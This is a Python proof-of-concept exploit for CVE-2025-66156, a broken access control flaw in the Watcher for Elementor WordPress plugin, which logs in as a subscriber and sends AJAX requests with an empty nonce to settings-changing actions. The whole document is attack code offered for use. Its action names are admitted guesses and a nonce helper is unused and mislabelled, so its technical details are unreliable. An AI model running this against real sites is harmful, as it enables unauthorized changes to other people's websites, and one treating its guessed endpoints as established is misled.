CVE-2025-66156

import requests import sys # CVE-2025-66156 PoC - Watcher for Elementor Broken Access Control # Target: WordPress site with vulnerable Watcher for Elementor plugin (<=1.0.9) TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "user_password" def get_wordpress_nonce(login_url): """Retrieve WordPress login nonce""" response = requests.get(login_url, timeout=10) return response.cookies.get('wordpress_test_cookie') def authenticate(): """Authenticate as low-privilege user (subscriber)""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) return session if 'wordpress_logged_in' in str(response.cookies) else None def exploit_broken_access_control(session): """Exploit missing authorization in plugin AJAX endpoints""" ajax_endpoints = [ f"{TARGET_URL}/wp-admin/admin-ajax.php", ] # Common vulnerable actions in watcher-elementor plugin vulnerable_actions = [ 'watcher_save_settings', 'watcher_update_options', 'watcher_modify_data', ] results = [] for action in vulnerable_actions: payload = { 'action': action, 'nonce': '', # May not be required due to missing auth check } try: response = session.post(ajax_endpoints[0], data=payload, timeout=10) if response.status_code == 200 and 'success' in response.text: results.append(f"Vulnerable endpoint found: {action}") except requests.RequestException: pass return results if __name__ == "__main__": print("CVE-2025-66156 PoC - Watcher for Elementor Authorization Bypass") print("=" * 60) session = authenticate() if session: print(f"[+] Successfully authenticated as: {USERNAME}") findings = exploit_broken_access_control(session) if findings: print("[!] Vulnerable endpoints identified:") for finding in findings: print(f" - {finding}") else: print("[-] No vulnerable endpoints found (may require manual testing)") else: print("[-] Authentication failed")

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